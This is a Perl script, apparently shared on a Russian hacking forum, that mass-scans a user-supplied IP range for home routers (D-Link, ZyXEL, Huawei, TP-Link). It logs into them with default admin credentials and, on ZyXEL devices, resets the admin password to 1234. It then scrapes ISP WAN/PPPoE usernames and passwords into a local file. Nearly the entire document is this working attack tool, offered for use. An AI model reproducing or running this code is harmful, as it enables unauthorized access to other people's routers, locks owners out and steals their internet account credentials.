Код:
#!/usr/bin/perl ## BVScanner [Black Vlastelin Scanner] ## Coded by slider ## https://forum.antichat.ru use IO::Socket; use LWP::UserAgent; use HTTP::Request; use threads; use threads::shared; my $ua=LWP::UserAgent->new;$ua->timeout(10); $ua->agent('Mozilla/5.0 (Windows NT 5.1; ru; olala ploent;) Firefox/3.5.8'); $ua->requests_redirectable(0); my @range : shared; my $time = time; my $i : shared; $| = 1; $good_acc = 'accounts.txt'; $port = 80; $timeout = 3; print "\n [i] Initial range IP: "; $start = <STDIN>; print " [i] Final range IP: "; $end = <STDIN>; print " [i] Threads: "; $threads = <STDIN>; @range = ip_range(); $size = scalar @range; print "\n [+] $size IP`s for Scaning.\r\n"; print " [+] Start Scaning.\n\n"; for(0..$threads) {$trl[$_] = threads->create(\&scan, $_);} for(@trl) { $_->join; } sub scan { while (@range) {{ lock(@range); $cur = shift @range; } my $sock = new IO::Socket::INET(PeerAddr => $cur, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout); if ( !$sock ) {{ lock($i); $i++; }} else {checker('http://'.$cur);close $sock;{lock($i); $i++;}} $percent = ( $i / $size ) * 100; $percent = sprintf( "%.1f", $percent ); print " [%] Status: $percent%\r";} } sub ip_range { my @ips; $s = inet_aton($start); $e = inet_aton($end); $s_ip = unpack( 'N', $s ); $e_ip = unpack( 'N', $e ); for ( $o = $s_ip ; $o < $e_ip ; $o++ ){ $o = pack( 'N', $o ); $ip = inet_ntoa($o); push @ips, $ip; $o = unpack( 'N', $o );} chomp @ips; return @ips; } sub requester{ my $req = HTTP::Request->new(POST => $_[0]); $req->content_type('application/x-www-form-urlencoded'); $req->content($_[2]); if($_[1]==1){$req->authorization_basic('admin', 'admin');} my $res = $ua->request($req); return $res; } sub get_good{ print " [+] $_[3] [$_[2]]\n Account: $_[0];$_[1]\n\n"; open(FILE, ">>$good_acc"); print FILE "$_[0];$_[1]\n"; close(FILE); } sub checker{ $strings = requester($_[0],0,0); #Skype and Trash... if(!$strings){return;} if($strings->status_line() =~ '500'){return;} if($strings->status_line() =~ '405 Method not allowed'){return;} if($strings->status_line() =~ '404'){return;} if($strings->status_line() =~ '200 Assumed'){return;} if($strings->content() =~ 'TeamViewer'){return;} #D-Link if($strings->content() =~ 'alphaindex.js"'){print " [+] $_[0] - D-Link\n\n";return;} #ZyXEL if($strings->content() =~ 'ZyXEL'){ my $zyx = requester($_[0].'/Forms/rpAuth_1',0,'LoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=81dc9bdb52d04dc20036dbd8313ed055&Prestige_Login=Login'); if ($zyx->status_line() =~ '303 See Other'){ $zyx = requester($_[0].'/Forms/passWarning_1',0,'PassNew=1234&PassConfirm=1234&Pass_Apply=Apply'); if ($zyx->status_line() =~ '303 See Other'){ $zyx = requester($_[0].'/WAN.html',0,'PassNew=1234&PassConfirm=1234&Pass_Apply=Apply'); if($zyx->content =~ /NAME="wan_UserName" SIZE="30" MAXLENGTH="70" VALUE="(.*)" /){$login = $1} if($zyx->content =~ /NAME="wan_Password" SIZE="30" MAXLENGTH="70" VALUE="(.*)" onBlur=/){$pass = $1} if($login or $pass){get_good($login,$pass,'ZyXEL',$_[0]);return;} } } print " [i] $_[0] - ZyXEL\n\n"; return; } if($strings->status_line =~ '401') { my $str = requester($_[0],1,0); if($str->status_line =~ '200'){ #Huawei if($str->content =~ 'HW_logo.html'){ my $hua = requester($_[0].'/WAN.html',1,0); if($hua->content =~ /NAME="wan_UserName" SIZE="30" MAXLENGTH="128" VALUE="(.*)" class/){$login = $1} if($hua->content =~ /NAME="wan_Password" SIZE="30" MAXLENGTH="128" VALUE="(.*)" class/){$pass = $1} if($login or $pass){get_good($login,$pass,'Huawei',$_[0]);return;} print " [i] $_[0] - Huawei\n\n";return; } #TP-Link $str = requester($_[0].'/basic/home_wan.htm',1,0); if($str->content =~ /NAME="wan_PPPUsername" SIZE="32" MAXLENGTH="71" VALUE="(.*)"></){$login = $1} if($str->content =~ /NAME="wan_PPPPassword" SIZE="32" MAXLENGTH="71" VALUE="(.*)"></){$pass = $1} if($str->content =~ 'Bridged IP'){return;} if(!$pass){$str = requester($_[0].'/basic/tc2wanfun.js',1,0);if($str->content =~ /pwdppp = "(.*)";/){$pass = $1}} if($login or $pass){get_good($login,$pass,'TP_Link',$_[0]);return;} else{print " [+] $_[0] - admin:admin\n\n";return;} } else{print " [i] $_[0] - Basic Authorization\n\n";return;} } ##DEBUG .::(-_-)::. else{print " [~] http://$cur - DEBUG " . $strings->status_line(). "\n\n";} } $time = time-$time; if($time => 60){$t = 'min';$time = int ($time / 60). '';}else{$t = 'sec';} print "\n [i] Total time: $time $t\n"; ## Active Perl: ## http://downloads.activestate.com/ActivePerl/releases/5.10.1.1007/ActivePerl-5.10.1.1007-MSWin32-x86-291969.msi ## Special For Antichat...